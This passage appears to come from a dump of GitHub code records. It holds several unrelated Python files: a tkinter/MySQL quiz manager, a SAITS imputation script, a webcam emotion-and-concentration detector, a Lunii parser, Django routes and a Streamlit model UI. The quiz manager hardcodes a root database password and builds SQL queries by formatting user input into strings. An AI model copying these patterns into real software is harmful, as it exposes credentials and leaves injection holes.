self.running = False\n self.ui.spinBox.setReadOnly(False)\n self.ui.txbList.setReadOnly(False)\n self.log_close()\n exit()\n\n is_start = user_date + pre_time * 60 * 60\n print(is_start, now, now - is_start)\n if (now-is_start > 0) and line not in success_list:\n resp_text = poll.submit_poll(x[1])\n # self.txbLogs.appendPlainText(resp_text)\n success_list.append(line)\n progress_percent = len(success_list) / len(data)\n if 'success' in resp_text:\n [x.append(i) for i in resp_text.split(', ') if 'url:' not in i]\n self.write_log(', '.join(x))\n self.sig.signal.emit([progress_percent, ', '.join(x)])\n else:\n self.sig.signal.emit([progress_percent, resp_text])\n self.log_close()\n\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n main_window = Main()\n main_window.form.show()\n sys.exit(app.exec_())\n","repo_name":"dengguibao/pyqt5","sub_path":"h5Poll/main_code.py","file_name":"main_code.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"11952934915","text":"import numpy as np\nfrom sklearn.preprocessing import StandardScaler\nfrom pypots.data import load_specific_dataset, mcar, masked_fill\nfrom pypots.imputation import SAITS\nfrom pypots.utils.metrics import cal_mae\n\n# prepare dataset\ndata = load_specific_dataset(\"physionet_2012\")\nX = data[\"X\"]\nnum_samples = len(X[\"RecordID\"].unique())\nX = X.drop([\"RecordID\", \"Time\"], axis=1)\nX = StandardScaler().fit_transform(X.to_numpy())\nX = X.reshape(num_samples, 48, -1)\nX_intact, X, missing_mask, indicating_mask = mcar(X, 0.1)\n# set the missing values to np.nan\nX = masked_fill(X, 1 - missing_mask, np.nan)\ndataset = {\"X\": X}\nprint(dataset[\"X\"].shape) # (11988, 48, 37), 11988 samples, 48 time steps, 37 features\n\n# initialize the model\nsaits = SAITS(\n n_steps=48,\n n_features=37,\n n_layers=2,\n d_model=256,\n d_inner=128,\n n_heads=4,\n d_k=64,\n d_v=64,\n dropout=0.1,\n epochs=10,\n saving_path=\"EHR_results/saits\",\n)\n\n# train the model. Here I use the whole dataset as the training set, because ground truth is not visible to the model.\nsaits.fit(dataset)\n# impute the originally-missing values and artificially-missing values\nimputation = saits.impute(dataset)\n# calculate mean absolute error on the ground truth (artificially-missing values)\nmae = cal_mae(imputation, X_intact, indicating_mask)","repo_name":"steveliu91/EHR-imputation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"18359818308","text":"from tkinter import simpledialog\nfrom tkinter import *\nfrom PIL import ImageTk\nimport shutil\nfrom tkinter import scrolledtext\nimport tkinter.messagebox\nimport os\nimport hashlib\nimport pymysql\nimport zipfile\n\nglobal DescriptionImage,NowIndex,DescriptionImage1\nDescriptionImage1=[]\nUserRanked = []\nInTest = []\nfor index in range(0,10086) :\n UserRanked.append(-1)\nFlag = \"\"\nroot = tkinter.Tk()\nroot.geometry('1024x768')\nroot.resizable(0,0)\nroot.title(\"Problems\")\n\ndef ShowAuthority() :\n global Flag\n if Flag == \"Admin\" :\n tkinter.messagebox.showinfo(title=\"Authority\",\n message=\"You are login with \"+Flag+\".\\nYou could : View all problems/tests, Submit new problem, Edit problems, Create new test.\")\n else :\n tkinter.messagebox.showinfo(title=\"Authority\",\n message=\"You are login with \" + Flag + \".\\nYou could : View all problems, View all tests.\")\n\ndef Import() :\n try :\n db = pymysql.connect(\"localhost\", 'root', 'dkstFeb.1st', 'testsys')\n cursor = db.cursor()\n ProblemInfoSQL = \"SELECT * FROM problem\"\n TestInfoSQL = \"SELECT * FROM test\"\n cursor.execute(ProblemInfoSQL)\n global ProblemInfo\n ProblemInfo = cursor.fetchall()\n TestInfoSQL = \"SELECT * FROM test\"\n global TestInfo\n cursor.execute(TestInfoSQL)\n TestInfo = cursor.fetchall()\n db.close()\n except :\n tkinter.messagebox.showerror(title=\"Error\",message=\"Database currupted! Try re-build by firstrun.py.\")\n db.close()\n global ProblemBut,TestBut\n ProblemBut.config(state=\"active\")\n TestBut.config(state=\"active\")\n\nMenuBar =tkinter.Menu(root)\nFileMenu = tkinter.Menu(MenuBar)\nMenuBar.add_cascade(label='File',menu=FileMenu)\nFileMenu.add_command(label='Import',command = Import)\nFileMenu.add_command(label='Exit',command = root.destroy)\nMenuBar.add_command(label='About', command=ShowAuthority)\nEditMenu = tkinter.Menu(MenuBar)\ndef NewCommand() :\n if TestBut['state'] == \"active\" :#Add new problem\n TempUserFile = open(os.getcwd()+\"\\\\Tempfile\\\\Addproblem\",\"w\")\n TempUserFile.write(NowUser)\n TempUserFile.close()\n os.system(\"python ProblemAdd.py\")\n Import()\n ShowProblem()\n elif ProblemBut['state'] == \"active\" :\n if len(InTest)==0 :\n tkinter.messagebox.showwarning(title=\"Warning\",message=\"Please selecet problem first.\")\n else :\n ProblemsetStr=\"\"\n TotalPoint = 0\n for indexnum in InTest :\n ProblemsetStr=ProblemsetStr+str(indexnum)+\",\"\n for problem in ProblemInfo :\n if problem[6]==indexnum :\n TotalPoint = TotalPoint + problem[2]\n break\n TestTitle=simpledialog.askstring(\"Title\",\"Enter title for new test:\")\n if len(TestTitle)!=0 :\n if tkinter.messagebox.askyesno(title=\"Create new test?\",message=\"Confirm create new test?\\nTitle: \"+TestTitle+\"\\nProblems: \"+ProblemsetStr+\"\\nTotal point: \"+str(TotalPoint)) :\n db = pymysql.connect(\"localhost\", 'root', 'dkstFeb.1st', 'testsys')\n cursor = db.cursor()\n InsertSQL = \"\"\"INSERT INTO test (TestName,ProblemSet, ProblemNumber, TotalPoint, CreateUser) VALUES ('%s','%s',%d,%d,'%s')\"\"\" % (TestTitle,ProblemsetStr,len(InTest),TotalPoint,NowUser)\n try :\n cursor.execute(InsertSQL)\n db.commit()\n tkinter.messagebox.showinfo(title=\"Create\",message=\"Create new test successfully\")\n except:\n db.rollback()\n tkinter.messagebox.showerror(title=\"Delete\", message=\"Delete failed, database currupted!\")\n finally:\n db.close()\n while len(InTest)!=0 :\n del InTest[0]\n ShowTest()\n\ndef EditCommand() :\n if TestBut['state'] == \"active\": # Edit probelm\n TempUserFile = open(os.getcwd() + \"\\\\Tempfile\\\\Editproblem\", \"w\")\n TempUserFile.write(str(ProblemInfo[NowIndex][6]))\n TempUserFile.close()\n os.system(\"python ProblemEdit.py\")\n Import()\n ShowProblem()\n elif ProblemBut['state'] == \"active\" :\n return\ndef DeleteCommand() :\n if TestBut['state'] == \"active\" :#delete problem\n if tkinter.messagebox.askyesno(title=\"Delete\",message=\"\"\"Are you sure to delete problem '%s'? \\n(UID=%d)\"\"\"%(ProblemInfo[NowIndex][0],ProblemInfo[NowIndex][6])) :\n DeleteProblemSQL = \"\"\"DELETE FROM problem WHERE UID=%d \"\"\" % ProblemInfo[NowIndex][6]\n db = pymysql.connect(\"localhost\", 'root', 'dkstFeb.1st', 'testsys')\n cursor = db.cursor()\n try :\n cursor.execute(DeleteProblemSQL)\n db.commit()\n os.remove(os.getcwd()+\"\\\\Problems\\\\%d.zip\"%int(ProblemInfo[NowIndex][6]))\n tkinter.messagebox.showinfo(title=\"Delete\", message=\"Delete successfully\")\n Import()\n ShowProblem()\n except :\n db.rollback()\n tkinter.messagebox.showerror(title=\"Delete\", message=\"Delete failed, database currupted!\")\n finally :\n db.close()\n Import()\n ShowProblem()\n elif ProblemBut['state'] == \"active\" :\n if tkinter.messagebox.askyesno(title=\"Delete\",message=\"\"\"Are you sure to delete test '%s'? \\n(UID=%d)\"\"\"%(TestInfo[NowIndex][0],TestInfo[NowIndex][5])) :\n DeleteProblemSQL = \"\"\"DELETE FROM test WHERE UID=%d \"\"\" % TestInfo[NowIndex][5]\n db = pymysql.connect(\"localhost\", 'root', 'dkstFeb.1st', 'testsys')\n cursor = db.cursor()\n try :\n cursor.execute(DeleteProblemSQL)\n db.commit()\n tkinter.messagebox.showinfo(title=\"Delete\", message=\"Delete successfully\")\n Import()\n ShowProblem()\n except :\n db.rollback()\n tkinter.messagebox.showerror(title=\"Delete\", message=\"Delete failed, database currupted!\")\n finally :\n db.close()\n Import()\n ShowTest()\nroot['menu']=MenuBar\n\ndef ShowProblem() :\n Import()\n NewBut.config(state=\"active\")\n EditBut.config(state=\"disabled\")\n DeleteBut.config(state=\"disabled\")\n AddToTestBut.config(state=\"disabled\")\n ShowResultBut.config(state=\"disabled\")\n SubmitRankBut.config(state=\"disabled\")\n DescriptionText.config(state=\"normal\")\n NewBut.config(text=\"New\")\n SolveText.config(state=\"normal\")\n SelectListBox.delete(0,END)\n DescriptionText.delete('0.0', END)\n SolveText.delete('0.0', END)\n DescriptionText.config(state=\"disabled\")\n SolveText.config(state=\"disabled\")\n for Problem in ProblemInfo :\n SelectListBox.insert(END,Problem[0])\n ProblemBut.config(state=\"disabled\")\n TestBut.config(state=\"active\")\n\ndef ShowTest() :\n Import()\n NewBut.config(state=\"active\")\n EditBut.config(state=\"disabled\")\n DeleteBut.config(state=\"disabled\")\n AddToTestBut.config(state=\"disabled\")\n SubmitRankBut.config(state=\"disabled\")\n ShowResultBut.config(state=\"disabled\")\n DescriptionText.config(state=\"normal\")\n SolveText.config(state=\"normal\")\n NewBut.config(text=\"Create\")\n DescriptionText.delete('0.0', END)\n SolveText.delete('0.0', END)\n SelectListBox.delete(0, END)\n for Test in TestInfo :\n SelectListBox.insert(END,Test[0])\n DescriptionText.config(state=\"disabled\")\n SolveText.config(state=\"disabled\")\n ProblemBut.config(state=\"active\")\n TestBut.config(state=\"disabled\")\n\nProblemBut = tkinter.Button(root,font=('微软雅黑', 13),width=8,text='Problems',state='disabled',command=ShowProblem)\nProblemBut.place(x=0,y=0)\nTestBut = tkinter.Button(root,font=('微软雅黑', 13),width=8,text='Tests',state='disabled',command=ShowTest)\nTestBut.place(x=90,y=0)\n\ndef ShowStars() :\n NowX = 410\n Score = round(ProblemInfo[NowIndex][3])\n RankedPeople = ProblemInfo[NowIndex][4]\n RankString = tkinter.StringVar()\n RankResLab = tkinter.Label(root, font=('微软雅黑', 10, \"italic\"), textvariable=RankString)\n RankResLab.place(x=407, y=730)\n if RankedPeople == 0:\n RankString.set(\"(no rank score yet)\")\n for i in range(0, 5):\n DarkImageList[i].place(x=NowX, y=707)\n NowX = NowX + 20\n ShineImageList[i].place(x=10086, y=10086)\n NowX = 410\n else:\n RankString.set(\"(%.1f point out of 5)\" % ProblemInfo[NowIndex][3])\n if Score == 0:\n for i in range(0, 5):\n DarkImageList[i].place(x=NowX, y=707)\n NowX = NowX + 20\n ShineImageList[i].place(x=10086, y=10086)\n else:\n NowX = 410\n for i in range(0, Score):\n ShineImageList[i].place(x=NowX, y=707)\n NowX = NowX + 20\n DarkImageList[i].place(x=10086, y=10086)\n for i in range(Score, 5):\n DarkImageList[i].place(x=NowX, y=707)\n NowX = NowX + 20\n ShineImageList[i].place(x=10086, y=10086)\n NowX = 410\n RankedPeopleStr = tkinter.StringVar()\n RankedPeopleLab = tkinter.Label(root, font=('微软雅黑', 10, \"italic\"), textvariable=RankedPeopleStr)\n RankedPeopleLab.place(x=530, y=704)\n RankedPeopleStr.set(\"Ranked by %d people\" % RankedPeople)\n\ndef CheckSelection(event) :\n for index in range(0,SelectListBox.size()) :\n if SelectListBox.selection_includes(index)==True :\n ShowResultBut.config(state=\"active\")\n if TestBut['state'] == \"active\" and ProblemBut['state'] =='disabled' :\n SubmitRankBut.config(state = 'active')\n if Flag == \"Admin\":\n DeleteBut.config(state=\"active\")\n EditBut.config(state=\"active\")\n NewBut.config(state=\"active\")\n AddToTestBut.config(state=\"active\")\n global NowIndex\n NowIndex = index\n if ProblemInfo[NowIndex][6] in InTest :\n InTestStr.set(\"Remove\")\n else :\n InTestStr.set(\"Add\")\n if UserRanked[index] == -1 :\n SubmitRankBut.config(state=\"active\")\n YourRankStr.set(\"Your rank :\")\n else :\n SubmitRankBut.config(state=\"disabled\")\n YourRankStr.set(\"Your rank : \"+str(UserRanked[index]))\n DescriptionText.config(state=\"normal\")\n SolveText.config(state=\"normal\")\n DescriptionText.delete('0.0',END)\n SolveText.delete('0.0',END)\n #Check zip existance\n NowZip = zipfile.ZipFile(ProblemInfo[index][1])\n NowZip.extractall(os.getcwd()+\"\\\\Tempfile\")\n global Description,Solve\n Description = NowZip.read(\"Description.txt\").decode('utf-8')\n #Solve = NowZip.read(\"Solve.txt\").decode('utf-8')\n DescriptionText.insert(END,\"(UID: %d, Author : %s, Point: %d)\\n\"%(ProblemInfo[index][6],ProblemInfo[index][5],ProblemInfo[index][2]))\n DescriptionText.insert(END,Description)\n if len(NowZip.namelist()) == 3:\n global DescriptionImage\n DescriptionText.insert(END,\"\\nPhoto for this problem:\\n\")\n DescriptionImage = ImageTk.PhotoImage(file=os.getcwd() + '\\\\Tempfile\\\\Photo.gif')\n DescriptionText.image_create(END,image=DescriptionImage)\n def ShowOrigin() :\n os.system('\"%s\"' % (os.getcwd() + \"\\\\Tempfile\\\\Photo.gif\"))\n ShowOriginBut = tkinter.Button(DescriptionText,text='Show Origin Photo',width=20,command=ShowOrigin)\n DescriptionText.insert(END, \"\\n\\n\")\n DescriptionText.window_create(END,window=ShowOriginBut)\n #SolveText.insert(END,Solve)\n DescriptionText.config(state=\"disabled\")\n SolveText.config(state=\"disabled\")\n ShowStars()\n NowZip.close()\n return\n elif TestBut['state'] == \"disabled\" and ProblemBut['state'] =='active' :\n if Flag == \"Admin\":\n DeleteBut.config(state=\"active\")\n NewBut.config(state=\"active\")\n NowTest = TestInfo[index]\n NowIndex=index\n AllProblem = NowTest[1].split(',')\n del AllProblem[-1]\n DescriptionText.config(state=\"normal\")\n SolveText.config(state=\"normal\")\n DescriptionText.delete('0.0', END)\n SolveText.delete('0.0', END)\n Count = 0\n UpdateBadProblem = False\n for UIDNum in AllProblem :\n ProblemExistFlag = False\n Count = Count + 1\n for problem in ProblemInfo :\n if int(UIDNum)==problem[6] :\n ProblemExistFlag = True\n NowZip = zipfile.ZipFile(problem[1])\n NowZip.extractall(os.getcwd() + \"\\\\Tempfile\")\n Description = NowZip.read(\"Description.txt\").decode('utf-8')\n #Solve = NowZip.read(\"Solve.txt\").decode('utf-8')\n DescriptionText.insert(END,str(Count)+\".\")\n DescriptionText.insert(END,\"%s(UID: %d, Author : %s, Point: %d)\\n\"%(problem[0],problem[6],problem[5],problem[2]))\n DescriptionText.insert(END,Description)\n if len(NowZip.namelist()) == 3:\n global DescriptionImage1\n DescriptionText.insert(END,\"\\nPhoto for this problem:\\n\")\n DescriptionImage1.append(ImageTk.PhotoImage(file=os.getcwd() + '\\\\Tempfile\\\\Photo.gif'))\n DescriptionText.image_create(END,image=DescriptionImage1[-1])\n DescriptionText.insert(END,\"\\n\\n\")\n #SolveText.insert(END,str(Count)+\".\")\n #SolveText.insert(END, Solve)\n #SolveText.insert(END,\"\\n\\n\")\n NowZip.close()\n break\n if ProblemExistFlag == False :\n tkinter.messagebox.showwarning(title=\"Warning\",message=\"Problem(UID=%d) no longer exist, problem removed\" % (int(UIDNum)))\n AllProblem.remove(UIDNum)\n UpdateBadProblem = True\n DescriptionText.config(state=\"disabled\")\n SolveText.config(state=\"disabled\")\n if UpdateBadProblem == True :\n NewStr=\"\"\n TotalProblemNum=0\n TotalPoint=0\n for UIDNum in AllProblem :\n NewStr = NewStr + UIDNum + \",\"\n TotalProblemNum = TotalProblemNum + 1\n for problem in ProblemInfo :\n if int(UIDNum)==problem[6] :\n TotalPoint = TotalPoint + problem[2]\n break\n print(NewStr)\n db = pymysql.connect(\"localhost\", 'root', 'dkstFeb.1st', 'testsys')\n cursor = db.cursor()\n UPDATESQL = \"\"\"UPDATE test SET ProblemSet='%s',ProblemNumber=%d,TotalPoint=%d WHERE UID=%d\"\"\" % (NewStr,TotalProblemNum,TotalPoint,TestInfo[NowIndex][5])\n try :\n cursor.execute(UPDATESQL)\n db.commit()\n except :\n tkinter.messagebox.showwarning(title='Warning', message='Database Corrupted!Program shutdown')\n db.rollback()\n finally :\n db.close()\n Import()\n break\ndef ShowSolution() :\n ShowResultBut.config(state = \"disabled\")\n SolveText.config(state='normal')\n if TestBut['state'] == \"active\" and ProblemBut['state'] == 'disabled':\n Solve = str( open(os.getcwd() + \"\\\\Tempfile\\\\Solve.txt\").read() )\n print(Solve)\n SolveText.insert(END, Solve)\n elif TestBut['state'] == \"disabled\" and ProblemBut['state'] == 'active':\n NowTest = TestInfo[NowIndex]\n AllProblem = NowTest[1].split(',')\n del AllProblem[-1]\n SolveText.delete('0.0', END)\n Count = 0\n for UIDNum in AllProblem:\n Count = Count + 1\n for problem in ProblemInfo:\n if int(UIDNum) == problem[6]:\n NowZip = zipfile.ZipFile(problem[1])\n NowZip.extractall(os.getcwd() + \"\\\\Tempfile\")\n Solve = NowZip.read(\"Solve.txt\").decode('utf-8')\n SolveText.insert(END, str(Count) + \".\")\n SolveText.insert(END, Solve)\n SolveText.insert(END, \"\\n\\n\")\n NowZip.close()\n break\n SolveText.config(state=\"disabled\")\n\n\nLeftScroll = tkinter.Scrollbar(root)\nSelectListBox = tkinter.Listbox(root,selectmode = BROWSE,yscrollcommand=LeftScroll.set)\nSelectListBox.config(width=30,height=30,font= ('微软雅黑',13))\nLeftScroll.config(command=SelectListBox.yview)\nSelectListBox.place(x=0,y=40)\nLeftScroll.place(x=303,y=40,height=725,width=20)\nSelectListBox.bind(\"\",CheckSelection)\n\nDescriptionLab = tkinter.Label(root,font= ('微软雅黑',15),text='Description:')\nDescriptionLab.place(x=345,y=27)\nDescriptionText = scrolledtext.ScrolledText(root,font= ('微软雅黑',13),width=60,height=15,wrap=tkinter.WORD,state='disabled')\nDescriptionText.place(x=350,y=60)\n\n\nDeleteBut = tkinter.Button(root,text=\"Delete\",font= ('微软雅黑',13),width=6,state=\"disabled\",command=DeleteCommand)\nDeleteBut.place(x=880,y=15)\nEditBut = tkinter.Button(root,text=\"Edit\",font= ('微软雅黑',13),width=6,state=\"disabled\",command=EditCommand)\nEditBut.place(x=800,y=15)\nNewBut = tkinter.Button(root,text=\"New\",font= ('微软雅黑',13),width=6,state=\"disabled\",command=NewCommand)\nNewBut.place(x=720,y=15)\n\ndef Switch() :\n if InTestStr.get()==\"Add\" :\n InTestStr.set(\"Remove\")\n InTest.append(ProblemInfo[NowIndex][6])\n else :\n InTestStr.set(\"Add\")\n InTest.remove(ProblemInfo[NowIndex][6])\n\n\nInTestStr = tkinter.StringVar()\nInTestStr.set(\"Add\")\nAddToTestBut = tkinter.Button(root,textvariable=InTestStr,font= ('微软雅黑',13),width=6,state=\"disabled\",command=Switch)\nAddToTestBut.place(x=640,y=15)\nShowResultBut = tkinter.Button(root,text = \"Show solution\",font = ('微软雅黑',13),width=13,state=\"disabled\",command=ShowSolution)\nShowResultBut.place(x=430,y=410)\n\nRankLab = tkinter.Label(root,font= ('微软雅黑',15),text='Rank:')\nRankLab.place(x=345,y=700)\nLoadShineStarImage = ImageTk.Image.open(os.getcwd()+\"\\\\Resources\\\\star_onmouseover.png\")\nLoadDarkStarImage = ImageTk.Image.open(os.getcwd()+\"\\\\Resources\\\\star_hollow_hover.png\")\nShineStarImage = ImageTk.PhotoImage(LoadShineStarImage)\nDarkStarImage = ImageTk.PhotoImage(LoadDarkStarImage)\nShineImageList = []\nDarkImageList = []\nfor i in range(0,5) :\n ShineImageList.append(tkinter.Label(root,image=ShineStarImage))\n DarkImageList.append(tkinter.Label(root,image=DarkStarImage))\nYourRankStr = tkinter.StringVar()\nYourRankStr.set(\"Your rank :\")\nYourRankLab = tkinter.Label(root,textvariable=YourRankStr,font= ('微软雅黑',13))\nYourRankLab.place(x=730,y=690)\nv=tkinter.IntVar()\nRankScale = tkinter.Scale(root,from_=0,to=5,orient=HORIZONTAL,resolution=1,tickinterval=1,length=200,variable=v)\nRankScale.place(x=730,y=725)\ndef SubmitRank() :\n if tkinter.messagebox.askyesno(title=\"Submit?\",message=\"Submit score?\") :\n SubmitRankBut.config(state=\"disabled\")\n global NowIndex\n UserRanked[NowIndex] = v.get()\n YourRankStr.set(YourRankStr.get()+str(v.get()))\n\n print(\"Your score is \"+str(v.get()))\n NowRankedPeople = ProblemInfo[NowIndex][4]+1\n NowScore = (ProblemInfo[NowIndex][3]*ProblemInfo[NowIndex][4]+v.get())/NowRankedPeople\n UPDATEScoreSQL = \"\"\"UPDATE problem SET TotalRank=%f, TotalRankedPeople=%d WHERE UID=%d\"\"\" % (NowScore,NowRankedPeople,ProblemInfo[NowIndex][6])\n db = pymysql.connect(\"localhost\", 'root', 'dkstFeb.1st', 'testsys')\n cursor = db.cursor()\n try :\n cursor.execute(UPDATEScoreSQL)\n db.commit()\n tkinter.messagebox.showinfo(title=\"Submit\",message=\"Rank successfully\")\n except :\n db.rollback()\n tkinter.messagebox.showwarning(title='Warning', message='Database Corrupted!Program shutdown')\n db.close()\n Import()\n ShowStars()\n else :\n return\nSubmitRankBut = tkinter.Button(root,text=\"Submit\",font= ('微软雅黑',13),state=\"disabled\",height=1,command=SubmitRank)\nSubmitRankBut.place(x=860,y=685)\n\nSolveLab = tkinter.Label(root,font= ('微软雅黑',15),text='Solve:')\nSolveLab.place(x=345,y=410)\nSolveText = scrolledtext.ScrolledText(root,font= ('微软雅黑',13),width=60,height=10,wrap=tkinter.WORD,state='disabled')\nSolveText.place(x=350,y=450)\n\n\nif __name__ == '__main__':\n if os.path.exists(os.getcwd()+\"\\\\Tempfile\\\\Admin\")==True :\n Flag = \"Admin\"\n File = open(os.getcwd()+\"\\\\Tempfile\\\\Admin\",\"r\")\n NowUser = File.read()\n File.close()\n root.mainloop()\n #os.remove(os.getcwd()+\"\\\\Tempfile\\\\Admin\")\n elif os.path.exists(os.getcwd()+\"\\\\Tempfile\\\\User\")==True :\n Flag = \"User\"\n File = open(os.getcwd()+\"\\\\Tempfile\\\\Admin\",\"r\")\n NowUser = File.read()\n root.mainloop()\n File.close()\n #os.remove(os.getcwd() + \"\\\\Tempfile\\\\User\")\n else :\n tkinter.messagebox.showerror(title=\"Error\", message=\"Illegal Run!\")\n if os.path.exists(os.getcwd() + \"\\\\Tempfile\\\\Description.txt\"):\n os.remove(os.getcwd() + \"\\\\Tempfile\\\\Description.txt\")\n if os.path.exists(os.getcwd() + \"\\\\Tempfile\\\\Solve.txt\"):\n os.remove(os.getcwd() + \"\\\\Tempfile\\\\Solve.txt\")\n if os.path.exists(os.getcwd() + \"\\\\Tempfile\\\\Photo.gif\"):\n os.remove(os.getcwd() + \"\\\\Tempfile\\\\Photo.gif\")","repo_name":"hktkqj/The-Aha-Moment","sub_path":"Test Sys/Problem View.py","file_name":"Problem View.py","file_ext":"py","file_size_in_byte":22652,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"20128807940","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport io\nfrom keras.models import model_from_json\n\nemotion_dict = {0: \"Angry\", 1: \"Fearful\", 2: \"Neutral\", 3: \"Happy\", 4: \"Neutral\", 5: \"Sad\", 6: \"Surprised\"}\n\n# Load the emotion model\njson_file = open(\"model/emotion_model.json\", \"r\")\nloaded_model_json = json_file.read()\njson_file.close()\nemotion_model = model_from_json(loaded_model_json)\nemotion_model.load_weights(\"model/emotion_model.h5\")\nprint(\"Loaded emotion model from disk\")\n\n# Define the emotion weights\nemotion_weights = {\n 'Happy': 0.6,\n 'Surprised': 0.5,\n 'Sad': 0.3,\n 'Fearful': 0.3,\n 'Angry': 0.25,\n 'Neutral': 0.9\n}\n\n# Start the webcam feed\n# cap = cv2.VideoCapture(\"C:\\\\Users\\\\Honor\\\\Pictures\\\\Camera Roll\\\\WIN_20230723_02_48_10_Pro.jpg\")\ncap = cv2.VideoCapture(0)\n\n# Create a list to store the detected emotions over time\nhistory_emotions = []\n\nwhile True:\n ret, frame = cap.read()\n frame = cv2.resize(frame, (1280, 720))\n if not ret:\n break\n face_detector = cv2.CascadeClassifier('haarcascades/haarcascade_frontalface_default.xml')\n gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n num_faces = face_detector.detectMultiScale(gray_frame, scaleFactor=1.3, minNeighbors=5)\n\n for (x, y, w, h) in num_faces:\n cv2.rectangle(frame, (x, y - 50), (x + w, y + h + 10), (0, 255, 0), 4)\n roi_gray_frame = gray_frame[y:y + h, x:x + w]\n cropped_img = np.expand_dims(np.expand_dims(cv2.resize(roi_gray_frame, (48, 48)), -1), 0)\n\n # Predict the emotions\n emotion_prediction = emotion_model.predict(cropped_img)\n maxindex = int(np.argmax(emotion_prediction))\n predicted_emotion = emotion_dict[maxindex]\n\n # Calculate the concentration index (CI) by multiplying the emotion weights with the probability of the dominant emotion\n concentration_index = emotion_weights.get(predicted_emotion, 0) * emotion_prediction[0][maxindex]\n\n print(emotion_prediction[0][maxindex])\n # Determine the concentration level and text color\n if concentration_index >= 0.7:\n concentration_level = \"Highly Concentrated\"\n text_color = (0, 255, 0) # Green\n elif concentration_index >= 0.4:\n concentration_level = \"Nominally Concentrated\"\n text_color = (0, 165, 255) # Yellow\n else:\n concentration_level = \"Not Concentrated\"\n text_color = (0, 0, 255) # Red\n\n # Display the percentage of concentration\n concentration_percentage = f\"{int(concentration_index * 100)}%\"\n cv2.putText(frame, f\"Emotion: {predicted_emotion}\", (x + 5, y - 20), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0),\n 2, cv2.LINE_AA)\n cv2.putText(frame, f\"Concentration: {concentration_level} ({concentration_percentage})\", (x + 5, y - 50),\n cv2.FONT_HERSHEY_SIMPLEX, 1, text_color, 2, cv2.LINE_AA)\n\n # Store the detected emotion in the history list\n history_emotions.append(predicted_emotion)\n\n # Limit the size of the history list to store only the last N detected emotions\n max_history_size = 30 # You can adjust this value as per your preference\n history_emotions = history_emotions[-max_history_size:]\n\n # while True:\n\n cv2.imshow('Emotion and Concentration Detection', frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"msahtani/class-monitor-ai","sub_path":"Emotion_detection/TestEmotionDetector.py","file_name":"TestEmotionDetector.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"26915371195","text":"#!/usr/bin/env python\n\nimport logging\nfrom lunii import Lunii\nimport sys\n\nlogging.basicConfig(filename='dump.log',\n filemode='w',\n level=logging.INFO)\nlogging.getLogger().addHandler(logging.StreamHandler())\n\nlun = Lunii.from_file(sys.argv[1])\nlogging.info('Number of stories: {}'.format(lun.contents.nbr_stories))\nfor story in lun.contents.stories:\n logging.info('Story n:{:02} start at sector: 0x{:08x} with size: 0x{:08x} and has 0x{:08} nodes'\n .format(lun.contents.stories.index(story),\n story.start_address, story.size,\n story.story_info().nodes_info.nbr_nodes\n )\n )\n# for node in story.story_info.nodes:\n","repo_name":"EmFl/tsukuyomi","sub_path":"sd-parser/sd-lunii-parser.py","file_name":"sd-lunii-parser.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"4478102895","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n # User routes\n path('users/register', views.register_user, name='register user'),\n path('users/login', views.login_user, name='login user'),\n\n # Book routes\n path('books', views.get_books, name='get books'),\n\n # BookWish routes\n path('users//bookWishes', views.get_user_book_wishes, name='get user book wishes'),\n path('auth/bookWishes', views.add_book_to_wish_list, name='wish for book'),\n path('auth/bookWishes/books/', views.cancel_book_wish, name='cancel book wish'),\n path('auth/bookWishes/books//grant', views.mark_book_wish_as_granted, name='mark book wish as granted'),\n]\n","repo_name":"ankihg/book-please","sub_path":"src/bookplease/wishlist/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"46773911604","text":"import streamlit as st\n\nimport requests\n\nfrom utils import image2tensor, prediction2label\nfrom constants import REST_URL, MAPPING\n\n# General information about the UI\nst.title(\"TensorFlow Serving + Streamlit! ✨🖼️\")\nst.header(\"UI to use a TensorFlow image classification model of The Simpsons characters (named SimpsonsNet) served with TensorFlow Serving.\")\n\n# Show which are the classes that the SimpsonsNet model can predict\nif st.checkbox(\"Show classes\"):\n st.write(\"The SimpsonsNet can predict the following characters:\")\n st.write(MAPPING)\n\n# Create a FileUploader so that the user can upload an image to the UI\nuploaded_file = st.file_uploader(label=\"Upload an image of any of the available The Simpsons characters (please see Classes).\",\n type=[\"png\", \"jpeg\", \"jpg\"])\n\n# Display the predict button just when an image is being uploaded\nif not uploaded_file:\n st.warning(\"Please upload an image before proceeding!\")\n st.stop()\nelse:\n image_as_bytes = uploaded_file.read()\n st.image(image_as_bytes, use_column_width=True)\n pred_button = st.button(\"Predict\")\n\nif pred_button:\n # Converts the input image into a Tensor\n image_tensor = image2tensor(image_as_bytes=image_as_bytes)\n\n # Prepare the data that is going to be sent in the POST request\n json_data = {\n \"instances\": image_tensor\n }\n\n # Send the request to the Prediction API\n response = requests.post(REST_URL, json=json_data)\n\n # Retrieve the highest probablity index of the Tensor (actual prediction)\n prediction = response.json()['predictions'][0]\n label = prediction2label(prediction=prediction)\n\n # Write the predicted label for the input image\n st.write(f\"Predicted The Simpsons character is: {label}\")\n","repo_name":"alvarobartt/tensorflow-serving-streamlit","sub_path":"src/streamlit/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"27"} +{"seq_id":"18940374010","text":"import argparse\nimport gym\nimport numpy as np\nfrom collections import namedtuple\nimport 